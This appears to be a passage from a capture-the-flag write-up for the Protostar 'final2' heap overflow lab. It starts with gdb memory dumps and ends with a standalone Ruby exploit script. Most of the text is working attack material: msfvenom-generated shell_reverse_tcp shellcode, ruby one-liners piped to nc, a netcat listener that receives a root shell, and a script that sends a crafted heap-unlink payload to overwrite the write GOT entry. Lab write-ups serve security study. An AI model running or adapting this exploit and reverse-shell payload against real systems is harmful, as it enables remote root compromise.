0x804e06c:	0x41326441	0x64413364	0x35644134	0x41366441
0x804e07c:	0x64413764	0x39644138	0x00000084	0xfffffff8
0x804e08c:	0xfffffffc	0x0804d410

user@protostar:/tmp$ ruby -e 'print "FSRD" + "Aa0A" + "\xeb\x0a" + "X" * 10 + "D" * 107" + "/" + "FSRD" + "ROOT/" + [0xfffffff8].pack("V") + [0xfffffffc].pack("V") + [0x804d410].pack("V") + [0x804e010].pack("V") + "X" *  107' | nc 0 2993

gdb> x /30x 0x804e01c
0x804e01c:	0x44444444	0x44444444	0x44444444	0x44444444
0x804e02c:	0x44444444	0x44444444	0x44444444	0x44444444
0x804e03c:	0x44444444	0x44444444	0x44444444	0x44444444
0x804e04c:	0x44444444	0x44444444	0x44444444	0x44444444
0x804e05c:	0x44444444	0x44444444	0x44444444	0x44444444
0x804e06c:	0x44444444	0x44444444	0x44444444	0x44444444
0x804e07c:	0x44444444	0x44444444	0x00000084	0xfffffff8
0x804e08c:	0xfffffffc	0x0804d410

We can see above, that we have 26*4=104 bytes for our shellcode.

Exploitation:

# window 1:

# we add 0x5c = '/' to our bad chars list
root@kali32:~# /usr/share/metasploit-framework/msfvenom -p linux/x86/shell_reverse_tcp LHOST=127.0.0.1 LPORT=1337 -b '\x0a\x0d\x5c\x00' -f sh
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 22 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 95 (iteration=0)
Payload size: 95 bytes
export buf=\
$'\xb8\x23\x99\xa0\xea\xdd\xc0\xd9\x74\x24\xf4\x5f\x2b\xc9'\
$'\xb1\x12\x31\x47\x12\x03\x47\x12\x83\xe4\x9d\x42\x1f\xdb'\
$'\x46\x75\x03\x48\x3a\x29\xae\x6c\x35\x2c\x9e\x16\x88\x2f'\
$'\x4c\x8f\xa2\x0f\xbe\xaf\x8a\x16\xb9\xc7\x73\xe9\x39\x16'\
$'\xe4\xeb\x39\x1d\xcd\x62\xd8\xad\x4b\x25\x4a\x9e\x20\xc6'\
$'\xe5\xc1\x8a\x49\xa7\x69\x3a\x65\x3b\x01\x2c\x56\xd9\xb8'\
$'\xc2\x21\xfe\x68\x48\xbb\xe0\x3c\x65\x76\x62'

# window 2:
user@protostar:/tmp$ export buf=\
> $'\xb8\x23\x99\xa0\xea\xdd\xc0\xd9\x74\x24\xf4\x5f\x2b\xc9'\
> $'\xb1\x12\x31\x47\x12\x03\x47\x12\x83\xe4\x9d\x42\x1f\xdb'\
> $'\x46\x75\x03\x48\x3a\x29\xae\x6c\x35\x2c\x9e\x16\x88\x2f'\
> $'\x4c\x8f\xa2\x0f\xbe\xaf\x8a\x16\xb9\xc7\x73\xe9\x39\x16'\
> $'\xe4\xeb\x39\x1d\xcd\x62\xd8\xad\x4b\x25\x4a\x9e\x20\xc6'\
> $'\xe5\xc1\x8a\x49\xa7\x69\x3a\x65\x3b\x01\x2c\x56\xd9\xb8'\
> $'\xc2\x21\xfe\x68\x48\xbb\xe0\x3c\x65\x76\x62'

# window 3:
user@protostar:~$ nc -l -p 1337

# window 2:
user@protostar:/tmp$ ruby -e 'print "FSRD" + "Aa0A" + "\xeb\x0a" + "X" * 10 + ENV["buf"] + "D" * (107 - ENV["buf"].length) + "/" + "FSRD" + "ROOT/" + [0xfffffff8].pack("V") + [0xfffffffc].pack("V") + [0x804d410].pack("V") + [0x804e010].pack("V") + "X" *  107' | nc 0 2993
Process OK

# window 3:
id
uid=0(root) gid=0(root) groups=0(root)
#!/usr/bin/env ruby

require 'socket'

# user@protostar:~$ objdump -TR /opt/protostar/bin/final2 | grep "R_386_JUMP_SLOT.* write"
# 0804d41c R_386_JUMP_SLOT   write

# gdb> print /x 0x0804d41c-0xc
# $1 = 0x804d410

# root@protostar:/tmp# ltrace  -e memset -f /opt/protostar/bin/final2 
# [pid 2803] +++ exited (status 0) +++
# [pid 2804] memset(0xbffff71c, '\000', 16)     = 0xbffff71c
# [pid 2807] memset(0x0804e008, '\000', 132)    = 0x0804e008 <= first chunk
# [pid 2807] memset(0x0804e090, '\000', 132)    = 0x0804e090 <= second chunk
# [pid 2807] memset(0x0804e118, '\000', 132)    = 0x0804e118 <= third chunk

# root@kali32:~# ruby -e 'puts "0x"+(0x0804e008+"FSDRAa0A".length).to_s(16)'
# 0x804e010

# root@kali32:~# /usr/share/metasploit-framework/msfvenom -p linux/x86/shell_reverse_tcp LHOST=127.0.0.1 LPORT=1337 -b '\x0a\x0d\x5c\x00' -f ruby
# No platform was selected, choosing Msf::Module::Platform::Linux from the payload
# No Arch selected, selecting Arch: x86 from the payload
# Found 22 compatible encoders
# Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
# x86/shikata_ga_nai succeeded with size 95 (iteration=0)
# Payload size: 95 bytes
buf = 
"\xbf\x9e\x53\x7d\x18\xda\xc5\xd9\x74\x24\xf4\x5e\x33\xc9" +
"\xb1\x12\x31\x7e\x12\x83\xee\xfc\x03\xe0\x5d\x9f\xed\x2d" +
"\xb9\xa8\xed\x1e\x7e\x04\x98\xa2\x09\x4b\xec\xc4\xc4\x0c" +
"\x9e\x51\x67\x33\x6c\xe1\xce\x35\x97\x89\xaf\xc5\x67\x48" +
"\x38\xc4\x67\x4f\x81\x41\x86\xff\x97\x01\x18\xac\xe4\xa1" +
"\x13\xb3\xc6\x26\x71\x5b\xf6\x09\x05\xf3\x60\x79\x8b\x6a" +
"\x1f\x0c\xa8\x3e\x8c\x87\xce\x0e\x39\x55\x90"

chunk1 = "FSRD" + "Aa0A" + "\xeb\x0a" + "X" * 10 + buf + "D" * (107 - buf.length) + "/"
chunk2 = "FSRD" + "ROOT/" + [0xfffffff8].pack("V") + [0xfffffffc].pack("V") + [0x804d410].pack("V") + [0x804e010].pack("V") + "X" *  103
chunk3 = "DDDD"

exploit = chunk1 + chunk2 + chunk3

host = ARGV[0]
host ||= "192.168.80.154"

puts "Using host: #{host}"

s = TCPSocket.new host, 2993
s.puts(exploit)
s.close